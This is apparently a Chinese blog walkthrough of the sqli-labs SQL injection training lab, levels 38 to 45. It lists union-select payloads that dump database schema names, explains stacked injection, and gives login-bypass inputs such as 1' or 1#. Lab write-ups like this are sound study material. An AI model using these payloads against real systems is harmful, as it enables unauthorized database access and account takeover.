sqlilab 38-45 之看不懂教程

第三十八关：

这一关过关实在是有点简单，用第一关的方法，联合查询就能爆出所有的内容，然而，这么简单这么会放到三十八关来？没学到新东西我做它干嘛？？？

先给个通关的payload：id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

通过查询。。。这关可以用堆叠注入

堆叠注入：本人的理解就是可以执行多条语句，与union不同的是语句用分号隔开所以可以是不同类型的；

注：在我们的web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。因此，在读取数据时，我们建议使用union（联合）注入。同时在使用堆叠注入之前，我们也是需要知道一些数据库相关信息的，例如表名，列名等信息。

第三十九关：

通关方法与上一关一样，不过换成了数字注入；

payload：id=0 union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

第四十关：

依旧是这样，用堆叠注入或者用联合查询，不过这关关闭了报错，靠页面回显就行

payload：id=0') union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

第四十一关：

同理，直接上payload：id=0 union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

第四十二关：

这关我通过查看源码。。。发现密码没有任何过滤，那就可以用上面讲到的堆叠注入了，不过更简单的万能密码也是可以

密码处直接输1' or 1#即可登录然后进行改密码操作

第四十三关：

这关和上一关的页面差不多是一样的，做法也是，只是注入点发生了变化，没有关闭报错，所以直接得出了注入点为')

密码处直接输入1') or1#即可

第四十四关：

与四十二关同理，只是没有了报错，这时进行盲注就好

第四十五关：

与第四十三关是一样的